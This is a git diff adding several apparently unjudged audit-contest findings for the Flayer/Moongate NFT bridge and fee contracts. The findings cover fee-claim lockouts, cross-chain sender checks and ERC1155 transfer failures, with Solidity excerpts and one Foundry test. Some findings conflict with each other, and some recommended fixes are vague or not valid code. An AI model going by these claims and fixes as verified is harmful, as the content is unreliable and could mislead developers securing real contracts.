+ @ l2CollectionAddress = _thresholdCross1155(package, recipient);
+ }
+
+ emit BridgeFinalized(address(INFERNAL_RIFT_ABOVE), l2CollectionAddress, package, recipient);
+ }
+ }
+```
+
+we can calling [_thresholdCross1155](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L312)
+
+```solidity
+
+ for (uint j; j < numIds; ++j) {
+ id = package.ids[j];
+ amount = package.amounts[j];
+
+ // Get the balance of the token currently held by the bridge
+
+ @ uint held = l2Collection1155.balanceOf(address(this), id);
+
+ // Determine the amount of tokens to transfer and mint
+ @ uint transfer = held > amount ? amount : held;
+ uint mint = amount - transfer;
+
+ if (transfer != 0) {
+ l2Collection1155.safeTransferFrom(address(this), recipient, id, transfer, '');
+ }
+
+ if (mint != 0) {
+ l2Collection1155.setTokenURIAndMintFromRiftAbove(id, mint, package.uris[j], recipient);
+ }
+ }
+```
+
+the ERC1155 balance will count as transferable balance to user, then consider the case:
+
+1. alice bridge 10 ERC1155 token from l2 to l1, the 10 ERC1155 token is locked in the below bridge.
+2. then the function thresholdCross is triggered and all alice's 10 token get transferred out.
+
+## Impact
+
+lose of fund.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L312
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L184
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/011/405.md b/011/405.md
new file mode 100644
index 0000000..3265741
--- /dev/null
+++ b/011/405.md
@@ -0,0 +1,70 @@
+Shiny Mint Lion
+
+High
+
+# InfernalRiftBelow.thresholdCross verify the wrong msg.sender
+
+
+## Summary
+
+`InfernalRiftBelow.thresholdCross` verify the wrong `msg.sender`, `thresholdCross` will fail to be called, resulting in the loss of user assets.
+
+## Vulnerability Detail
+
+`thresholdCross` determines whether `msg.sender` is `expectedAliasedSender`:
+
+```solidity
+ address expectedAliasedSender = address(uint160(INFERNAL_RIFT_ABOVE) + uint160(0x1111000000000000000000000000000000001111));
+ // Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
+ if (msg.sender != expectedAliasedSender) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+```
+
+but in fact the function caller should be `RELAYER_ADDRESS`,
+In `sudoswap`, `crossTheThreshold` check whether `msg.sender` is `RELAYER_ADDRESS`:
+https://github.com/sudoswap/InfernalRift/blob/7696827b3221929b3fa563692bd4c5d73b20528e/src/InfernalRiftBelow.sol#L56
+
+
+L1 across chain message through the `PORTAL.depositTransaction`, rather than `L1_CROSS_DOMAIN_MESSENGER`.
+
+To avoid confusion, use in L1 should all `L1_CROSS_DOMAIN_MESSENGER.sendMessage` to send messages across the chain, avoid the use of low level `PORTAL. depositTransaction` function.
+
+```solidity
+ function crossTheThreshold(ThresholdCrossParams memory params) external payable {
+ ......
+ // Send package off to the portal
+ PORTAL.depositTransaction{value: msg.value}(
+ INFERNAL_RIFT_BELOW,
+ 0,
+ params.gasLimit,
+ false,
+ abi.encodeCall(InfernalRiftBelow.thresholdCross, (package, params.recipient))
+ );
+
+ emit BridgeStarted(address(INFERNAL_RIFT_BELOW), package, params.recipient);
+ }
+```
+
+## Impact
+When transferring nft across chains,`thresholdCross` cannot be called in L2, resulting in loss of user assets.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L135-L145
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```solidity
+ // Validate caller is cross-chain
+ if (msg.sender != RELAYER_ADDRESS) { //or L2_CROSS_DOMAIN_MESSENGER
+ revert NotCrossDomainMessenger();
+ }
+
+ // Validate caller comes from {InfernalRiftBelow}
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != InfernalRiftAbove) {
+ revert CrossChainSenderIsNotRiftBelow();
+ }
+```
\ No newline at end of file
diff --git a/011/462.md b/011/462.md
new file mode 100644
index 0000000..224f73b
--- /dev/null
+++ b/011/462.md
@@ -0,0 +1,125 @@
+Dazzling Pecan Chameleon
+
+High
+
+# Wrong check logic implementation leads to NTFs stuck on L1 for ever.
+
+## Summary
+The issue comes from incorrect check of `CrossDomainMessenger` where the msg.sender is improperly validated within the [thresholdCross](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L135-L161) function, the function checks InfernalRiftAbove aliased address but this is not how `CrossDomainMessenger` works, and this will cause the function to keep reverting.
+
+## Vulnerability Detail
+The `thresholdCross` function checks if msg.sender is INFERNAL_RIFT_ABOVE aliased address, however, when using `CrossDomainMessenger` the actual sender of the message will always be [CrossDomainMessenger::relayMessage](https://optimistic.etherscan.io/address/0x4200000000000000000000000000000000000007#writeProxyContract#F2).
+Since this relay is responsible for delivering the message `_target` address on L2, the check will fails because the sender is `address(0x4200000000000000000000000000000000000007)` not INFERNAL_RIFT_ABOVE address.
+
+in this case the condition `if (msg.sender != expectedAliasedSender)` will always evaluate to true, causing the transaction to revert, as a result the NFTs will be stuck in L1 since the message will never execute here.
+
+## Impact
+Permanent asset lock Since the function will always revert, assets that are sent from L1 -> L2 will be stuck in L1 for ever even if users can try to relay message using relayMessage the call will never execute.
+
+POC:
+
+```solidity
+// This is L1
+function crossTheThreshold(ThresholdCrossParams memory params) external payable {
+ //...
+ // Set up payload
+ package[i] = Package({
+ chainId: block.chainid,
+ collectionAddress: collectionAddress,
+ ids: params.idsToCross[i],
+ amounts: new uint256[](numIds),
+ uris: uris,
+ royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
+ name: erc721.name(),
+ symbol: erc721.symbol()
+ });
+ }
+
+ // Send package off to the portal
+ PORTAL.depositTransaction{value: msg.value}(
+ INFERNAL_RIFT_BELOW,
+ 0,
+ params.gasLimit,
+ false,
+#>> abi.encodeCall(InfernalRiftBelow.thresholdCross, (package, params.recipient))
+ );
+
+ emit BridgeStarted(address(INFERNAL_RIFT_BELOW), package, params.recipient);
+}
+
+// This is OP address(0x4200000000000000000000000000000000000007)
+function relayMessage(
+ uint256 _nonce,
+ address _sender,
+ address _target,
+ uint256 _value,
+ uint256 _minGasLimit,
+ bytes calldata _message
+) external payable {
+ //...
+ xDomainMsgSender = _sender;
+#>> bool success = SafeCall.call(_target, gasleft() - RELAY_RESERVED_GAS, _value, _message);
+ xDomainMsgSender = Constants.DEFAULT_L2_SENDER;
+ //...
+}
+
+// This is L2
+function thresholdCross(Package[] calldata packages, address recipient) external {
+ // Calculate the expected aliased address of INFERNAL_RIFT_ABOVE
+ address expectedAliasedSender = address(
+ uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)
+ );
+
+ // Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
+#>> // wrong check implementation.
+#>> if (msg.sender != expectedAliasedSender) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+ //...
+}
+```
+
+## Recommendation
+
+this is the correct implementation:
+
+```diff
+function thresholdCross(Package[] calldata packages, address recipient) external {
+- // Calculate the expected aliased address of INFERNAL_RIFT_ABOVE
+- address expectedAliasedSender = address(
+- uint160(INFERNAL_RIFT_ABOVE) +
+- uint160(0x1111000000000000000000000000000000001111)
+- );
+
+- // Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
+- if (msg.sender != expectedAliasedSender) {
+- revert CrossChainSenderIsNotRiftAbove();
+- }
+
+
++ // check sender is CrossDomainMessenger.
++ if (msg.sender != address(0x4200000000000000000000000000000000000007)) {
++ revert CrossChainSenderIsNotBridge();
++ }
+
++ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
++ revert CrossChainSenderIsNotRiftAbove();
++ }
+
+ // Go through and mint (or transfer) NFTs to recipient
+ uint256 numPackages = packages.length;
+ for (uint256 i; i < numPackages; ++i) {
+ Package memory package = packages[i];
+
+ address l2CollectionAddress;
+ if (package.amounts[0] == 0) {
+ l2CollectionAddress = _thresholdCross721(package, recipient);
+ } else {
+ l2CollectionAddress = _thresholdCross1155(package, recipient);
+ }
+
+ emit BridgeFinalized(address(INFERNAL_RIFT_ABOVE), l2CollectionAddress, package, recipient);
+ }
+}
+```
\ No newline at end of file
diff --git a/011/463.md b/011/463.md
new file mode 100644
index 0000000..bb274c3
--- /dev/null
+++ b/011/463.md
@@ -0,0 +1,80 @@
+Flaky Taupe Platypus
+
+Medium
+
+# Potential for NFTs to Be Permanently Lost on L1.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L128
+
+The smart contract processes deposits of NFTs to L2, but there is a critical flaw in the deposit mechanism where no validation checks are performed, when transferring NFTs, if the recipient address in `thresholdCross` or `_thresholdCross721` is not checked the NFTs won't be minted on L2 and it will stuck on L1 permanently.
+
+## Vulnerability Detail
+In the `_mint` function of the NFT contract, a check ensures that the recipient is not address(0) before minting. However, the same check is not present in the earlier function calls when NFTs are being transferred to L2.
+
+In `thresholdCross`, the function transfers NFTs to the recipient, but there is no check to ensure that the recipient is not address(0), This issue is critical in [setTokenURIAndMintFromRiftAbove](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L119-L129) where the _mint function is called with the recipient address passed as a parameter, If this recipient is address(0), the _mint function will revert due to the `require(to != address(0))` condition.
+
+
+POC:
+```solidity
+// This is L1
+PORTAL.depositTransaction{value: msg.value}(
+ INFERNAL_RIFT_BELOW, 0, params.gasLimit, false,
+@>>> abi.encodeCall(InfernalRiftBelow.thresholdCross, (package, params.recipient))
+);
+
+// This is L2
+function thresholdCross(Package[] calldata packages, address recipient) external {
+ if (package.amounts[0] == 0) {
+@>>> l2CollectionAddress = _thresholdCross721(package, recipient);
+ } else {
+ //...
+ }
+}
+
+function _thresholdCross721(Package memory package, address recipient) internal returns(address l2CollectionAddress) {
+ for (uint256 j; j < numIds; ++j) {
+ if (l2Collection721.ownerOf(id) == address(this)) {
+ l2Collection721.transferFrom(address(this), recipient, id);
+ } else {
+@>>> l2Collection721.setTokenURIAndMintFromRiftAbove(id, package.uris[j], recipient);
+ }
+ }
+}
+
+
+function setTokenURIAndMintFromRiftAbove(uint _id, string memory _uri, address _recipient) external {
+ // Mint the token to the specified recipient
+@>>> _mint(_recipient, _id);
+}
+
+function _mint(address to, uint256 id) internal virtual {
+@>>> require(to != address(0), "INVALID_RECIPIENT");
+ //...
+}
+```
+
+## Impact
+if the recipient is incorrectly set to address(0) and the relay message fails, the NFTs will be permanently locked on the L2 network,
+making them irretrievable.
+
+## Recommendation
+
+```diff
+function crossTheThreshold(ThresholdCrossParams memory params) external payable {
+ //...
++ require(params.recipient != address(0), "recipient cannot be zero...");
+
+ // Send package off to the portal
+ PORTAL.depositTransaction{value: msg.value}(
+ INFERNAL_RIFT_BELOW,
+ 0,
+ params.gasLimit,
+ false,
+ abi.encodeCall(InfernalRiftBelow.thresholdCross, (package, params.recipient))
+ );
+
+ emit BridgeStarted(address(INFERNAL_RIFT_BELOW), package, params.recipient);
+}
+```
\ No newline at end of file
diff --git a/011/465.md b/011/465.md
new file mode 100644
index 0000000..4853dbb
--- /dev/null
+++ b/011/465.md
@@ -0,0 +1,59 @@
+Dazzling Pecan Chameleon
+
+Medium
+
+# Potential ERC1155 Token Loss in returnFromTheThreshold Implementation.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L206-L240
+
+The [returnFromTheThreshold](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L206-L240) function in the provided smart contract facilitates the transfer of NFTs from this contract to a recipient address, It performs cross-chain validation and ensures that only authorized callers can execute the function.
+However there is an issue if the collection is an ERC1155.
+
+## Vulnerability Detail
+user send ERC1155 tokens from L2 -> L1 using `InfernalRiftBelow::returnFromThreshold` user passes `IInfernalRiftAbove.ThresholdCrossParams` and it contains recipient address every thing is ok till this point but when `relayMessage` send the message to `InfernalRiftAbove::returnFromTheThreshold` ERC1155 checks if recipient implemented `onERC1155Received` if not the Tx will revert and NFTs will be stuck for ever.
+
+POC:
+
+```solidity
+ function returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams memory params) external {
+ //...
+ L2_CROSS_DOMAIN_MESSENGER.sendMessage(
+ INFERNAL_RIFT_ABOVE,
+ abi.encodeCall(
+ IInfernalRiftAbove.returnFromTheThreshold,
+#>> (l1CollectionAddresses, params.idsToCross, params.amountsToCross, params.recipient)
+ ),
+ uint32(params.gasLimit)
+ );
+ //...
+ }
+
+ function returnFromTheThreshold(
+ address[] calldata collectionAddresses,
+ uint256[][] calldata idsToCross,
+ uint256[][] calldata amountsToCross,
+ address recipient
+ ) external {
+ //...
+ for (uint256 j; j < numIds; ++j) {
+ if (amountsToCross[i][j] == 0) {
+ IERC721Metadata(collectionAddresses[i]).transferFrom(address(this), recipient, idsToCross[i][j]);
+ } else {
+#>> IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this), recipient, idsToCross[i][j], amountsToCross[i][j], '');
+ }
+ }
+ //...
+ }
+
+```
+
+
+## Impact
+If the recipient contract does not implement onERC1155Received, ERC1155 tokens cannot be safely transferred. This means that these tokens will be trapped in the contract, potentially leading to loss of assets and failing to achieve the desired cross-chain transfer functionality.
+
+## Recommendation
+
+Consider to handle this cases of issues.
+
diff --git a/012/059.md b/012/059.md
new file mode 100644
index 0000000..04c7dea
--- /dev/null
+++ b/012/059.md
@@ -0,0 +1,107 @@
+Lone Coconut Cat
+
+Medium
+
+# Beneficiaries Cannot Access Rewards When The Current Beneficiary Is A Pool
+
+## Summary
+
+When the current beneficiary of the [`BaseImplementation`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol) is a pool, previous beneficiaries are locked out from their rewards.
+
+## Vulnerability Detail
+
+The [`BaseImplementation`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol) is designed in a way that should not prevent previous beneficiaries from claiming their rewards.
+
+Check the [setter](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L211C14-L211C28) documentation:
+
+```solidity
+/**
+ * Allows our beneficiary address to be updated, changing the address that will
+ * be allocated fees moving forward. The old beneficiary will still have access
+ * to `claim` any fees that were generated whilst they were set.
+ *
+ * @param _beneficiary The new fee beneficiary
+ * @param _isPool If the beneficiary is a Flayer pool
+ */
+function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
+ beneficiary = _beneficiary;
+ beneficiaryIsPool = _isPool;
+
+ // If we are setting the beneficiary to be a Flayer pool, then we want to
+ // run some additional logic to confirm that this is a valid pool by checking
+ // if we can match it to a corresponding {CollectionToken}.
+ if (_isPool && address(locker.collectionToken(_beneficiary)) == address(0)) {
+ revert BeneficiaryIsNotPool();
+ }
+
+ emit BeneficiaryUpdated(_beneficiary, _isPool);
+}
+```
+
+Therefore, previous beneficiaries should still be able to access any of their old accrued fees.
+
+Beneficiaries claim their due rewards via the [`claim(address)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L164C14-L164C41) function:
+
+```solidity
+function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim(); /// @audit reverts_if_current_beneficiary_is_a_pool
+
+ // Reduce the amount of fees allocated to the `beneficiary` for the token. This
+ // helps to prevent reentrancy attacks.
+ beneficiaryFees[_beneficiary] = 0;
+
+ // Claim ETH equivalent available to the beneficiary
+ IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+}
+```
+
+Consequently, when [`beneficiaryIsPool`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L53C19-L53C36) is `true`, then **no beneficiaries will be able to claim their rewards**.
+
+The root cause of this issue is that the `beneficiaryIsPool` flag should only apply to the _current_ beneficiary, however it is being incorrectly used to gate access to rewards to other beneficiaries who weren't themselves pools.
+
+## Impact
+
+A beneficary's rightful access to due rewards is rejected.
+
+## Code Snippet
+
+```solidity
+function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ // Reduce the amount of fees allocated to the `beneficiary` for the token. This
+ // helps to prevent reentrancy attacks.
+ beneficiaryFees[_beneficiary] = 0;
+
+ // Claim ETH equivalent available to the beneficiary
+ IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+}
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L155C5-L180C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The [`beneficiaryIsPool`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L53C19-L53C36) flag should be recorded against a specific beneficiary:
+
+```solidity
+mapping (address beneficiary => bool isPool) _beneficiaryIsPool;
+```
diff --git a/012/101.md b/012/101.md
new file mode 100644
index 0000000..66b8dcc
--- /dev/null
+++ b/012/101.md
@@ -0,0 +1,69 @@
+Flaky Sable Hamster
+
+High
+
+# Previous `beneficiary` will not be able to claim `beneficiaryFees` if current beneficiary is a pool
+
+## Summary
+Previous `beneficiary` will not be able to claim `beneficiaryFees` if current beneficiary is a `pool`
+
+## Vulnerability Detail
+Beneficiary can claim their fees using `claim()`, which checks if the `beneficiaryIsPool` and if its true, it reverts
+```solidity
+function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+@> if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+...
+ }
+```
+Above pointed check is a problem because it checks `beneficiaryIsPool` regardless of `_beneficiary` is current beneficiary or previous beneficiary.
+
+As result, if current beneficiary is a pool but previous beneficiary was not, then previous beneficiary will not be able to withdraw the fees as above check will revert because `beneficiaryIsPool` represents the status of current beneficiary.
+
+//How this works
+1. Suppose the current beneficiaryA is not a pool ie beneficiaryIsPool = false & receives a fees of 100e18
+2. Owner changed the beneficiary using `setBeneficiary()` to beneficiaryB, which is a pool ie beneficiaryIsPool = true
+3. Natspecs of the `setBeneficiary()` clearly says previous beneficiary should claim their fees, but they will not be able to claim because now beneficiaryIsPool = true, which will revert the transaction
+```solidity
+ /**
+@> * Allows our beneficiary address to be updated, changing the address that will
+ * be allocated fees moving forward. The old beneficiary will still have access
+ * to `claim` any fees that were generated whilst they were set.
+ *
+ * @param _beneficiary The new fee beneficiary
+ * @param _isPool If the beneficiary is a Flayer pool
+ */
+ function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
+ beneficiary = _beneficiary;
+ beneficiaryIsPool = _isPool;
+
+ // If we are setting the beneficiary to be a Flayer pool, then we want to
+ // run some additional logic to confirm that this is a valid pool by checking
+ // if we can match it to a corresponding {CollectionToken}.
+ if (_isPool && address(locker.collectionToken(_beneficiary)) == address(0)) {
+ revert BeneficiaryIsNotPool();
+ }
+
+ emit BeneficiaryUpdated(_beneficiary, _isPool);
+ }
+```
+
+This issue is arising because beneficiaryIsPool is the status of the current beneficiary, but claim() can be used to claim fee by previous beneficiary also
+
+## Impact
+Previous beneficiary will not be able to claim their fees
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L203C4-L223C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Remove the above check because if the beneficiary is a `pool` then their fees are store in a different mapping `_poolFee` not `beneficiaryFees`, which means any beneficiary which is a pool, will try to claim then it will revert as there `beneficiaryFee` will be 0(zero)
\ No newline at end of file
diff --git a/012/138.md b/012/138.md
new file mode 100644
index 0000000..d08bf2e
--- /dev/null
+++ b/012/138.md
@@ -0,0 +1,92 @@
+Clean Snowy Mustang
+
+Medium
+
+# Old beneficiary / AMM beneficiary won't be able to claim fees if the current beneficiary is a pool
+
+## Summary
+Old beneficiary / AMM beneficiary won't be able to claim fees if the current beneficiary is a pool.
+
+## Vulnerability Detail
+
+UniswapImplementation [beneficiary](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L52) receives a share of the fees collected, and [claim()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L164) can be called to send the collected fees to the beneficiary.
+
+Beneficiary can be updated by calling [setBeneficiary()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L211), as the comment says, the old beneficiary will still have access to claim any fees that were generated whilst they were set.
+[BaseImplementation.sol#L203-L211](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L203-L211):
+```solidity
+ /**
+ * Allows our beneficiary address to be updated, changing the address that will
+ * be allocated fees moving forward. The old beneficiary will still have access
+ * to `claim` any fees that were generated whilst they were set.
+ *
+ * @param _beneficiary The new fee beneficiary
+ * @param _isPool If the beneficiary is a Flayer pool
+ */
+ function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
+```
+However, `claim()` will revert if the current beneficiary is a pool, hence the old beneficiary cannot claim any fees.
+[BaseImplementation.sol#L171](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171):
+```solidity
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+```
+
+Please run the PoC in UniswapImplementation.t.sol to verify:
+```solidity
+ function testAudit_OldBeneficiaryCannotClaim() public {
+ address alice = makeAddr("Alice");
+ deal(address(WETH), alice, 1 ether);
+
+ address oldBeneficiary = makeAddr("oldBeneficiary");
+
+ // Set beneficiary
+ uniswapImplementation.setBeneficiary(oldBeneficiary, false);
+
+ // Deposit fees
+ vm.startPrank(alice);
+ WETH.approve(address(uniswapImplementation), 1 ether);
+ uniswapImplementation.depositFees(address(flippedErc), 1 ether, 0);
+ vm.stopPrank();
+
+ // Set to beneficiary royalt to 100% (no poolFee)
+ uniswapImplementation.setBeneficiaryRoyalty(100_0);
+
+ // call `beforeAddLiquidity()` to distribute fees
+ vm.prank(address(uniswapImplementation.poolManager()));
+ uniswapImplementation.beforeAddLiquidity({
+ sender: address(0),
+ key: _poolKey(true),
+ params: IPoolManager.ModifyLiquidityParams({
+ tickLower: -887220,
+ tickUpper: 887220,
+ liquidityDelta: 0,
+ salt: ''
+ }),
+ hookData: ''
+ });
+
+ // Update beneficiary to pool
+ uniswapImplementation.setBeneficiary(address(flippedErc), true);
+
+ // Old beneficiary has 1 ether fees to claim
+ assertEq(uniswapImplementation.beneficiaryFees(oldBeneficiary), 1 ether);
+ // Old beneficiary won't be able to claim
+ vm.expectRevert(IBaseImplementation.BeneficiaryPoolCannotClaim.selector);
+ uniswapImplementation.claim(oldBeneficiary);
+ }
+```
+
+## Impact
+
+Old beneficiary / AMM beneficiary has no access to claim any fees generated whilst they were set.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+`beneficiaryIsPool` only indicates if the current beneficiary is a pool, protocol should store old beneficiaries info to tell if one is a pool, and should allow a old beneficiary to claim collected fees if they are not a pool.
\ No newline at end of file
diff --git a/012/334.md b/012/334.md
new file mode 100644
index 0000000..bd94f0c
--- /dev/null
+++ b/012/334.md
@@ -0,0 +1,77 @@
+Ripe Zinc Duck
+
+Medium
+
+# Beneficiary will lose unclaimed fees.
+
+## Summary
+If `BaseImplementation.setBeneficiary()` sets new beneficiary which is a Flayer pool, old beneficiary can not claim the unclaimed fees.
+
+## Vulnerability Detail
+`BaseImplementation.setBeneficiary()` function is following.
+```solidity
+ /**
+ * Allows our beneficiary address to be updated, changing the address that will
+@> * be allocated fees moving forward. The old beneficiary will still have access
+ * to `claim` any fees that were generated whilst they were set.
+ *
+ * @param _beneficiary The new fee beneficiary
+ * @param _isPool If the beneficiary is a Flayer pool
+ */
+ function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
+ beneficiary = _beneficiary;
+ beneficiaryIsPool = _isPool;
+
+ // If we are setting the beneficiary to be a Flayer pool, then we want to
+ // run some additional logic to confirm that this is a valid pool by checking
+ // if we can match it to a corresponding {CollectionToken}.
+ if (_isPool && address(locker.collectionToken(_beneficiary)) == address(0)) {
+ revert BeneficiaryIsNotPool();
+ }
+
+ emit BeneficiaryUpdated(_beneficiary, _isPool);
+ }
+```
+As can be seen, the comment of the above function says that "The old beneficiary will still have access to `claim` any fees that were generated whilst they were set.". However, if `_isPool` parameter is `true`, `beneficiaryIsPool` state variable will be set as `true`. Therefore, after that, the following `BaseImplementation.claim()` function will revert in `L171` for old beneficiary.
+```solidity
+ function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+171: if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ // Reduce the amount of fees allocated to the `beneficiary` for the token. This
+ // helps to prevent reentrancy attacks.
+ beneficiaryFees[_beneficiary] = 0;
+
+ // Claim ETH equivalent available to the beneficiary
+ IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+ }
+```
+
+## Impact
+The comment "The old beneficiary will still have access to `claim` any fees that were generated whilst they were set." means that admin may not call `claim()` function for old beneficiary before calling `setBeneficiary()` function. By Sherlock rule, the code comments stands above all judging rules. Therefore, the old beneficiary may lose the unclaimed fees. Lock of Funds.
+
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L211-L223
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Insert the following condition check in `BaseImplementation.setBeneficiary()` function.
+```solidity
+ if (_isPool && beneficiaryFees[_beneficiary] > 0) {
+ revert;
+ }
+```
+Or, fix the comment as the following.
+```comment
+Admin should call `claim()` function for old beneficiary before calling `setBeneficiary()` function when `_isPool` is true.
+```
\ No newline at end of file
diff --git a/012/561.md b/012/561.md
new file mode 100644
index 0000000..a116c94
--- /dev/null
+++ b/012/561.md
@@ -0,0 +1,68 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# AMM beneficiary can not collect fees when beneficiary is a pool
+
+### Summary
+
+Any native tokens collected as AMM beneficiary fees are recorded in [`beneficiaryFees[ammBeneficiary]`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L614). However, when the beneficiary is a Pool, those fees can not be [claimed](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171).
+
+Note that [`beneficiary`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L212) and [`AMM beneficiary`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L819-L822) can be different.
+
+### Root Cause
+
+In [`BaseImplementation:171`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L171), claiming beneficiary fees will fail as long as the beneficiary is a pool.
+
+```solidity
+function claim(address _beneficiary) public nonReentrant {
+ // ... snip ...
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+}
+```
+
+This affects the AMM beneficiary too and prevents them from claiming their fees.
+
+### Internal pre-conditions
+
+1. The admin has set a beneficiary as a [pool](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L213).
+2. An [AMM beneficiary](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L819-L822) is set by admin.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Anyone swaps in one of Flayer's UniV4 Pools. This triggers the `afterSwap()` hook and [collects the AMM beneficiary fee](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L596-L616).
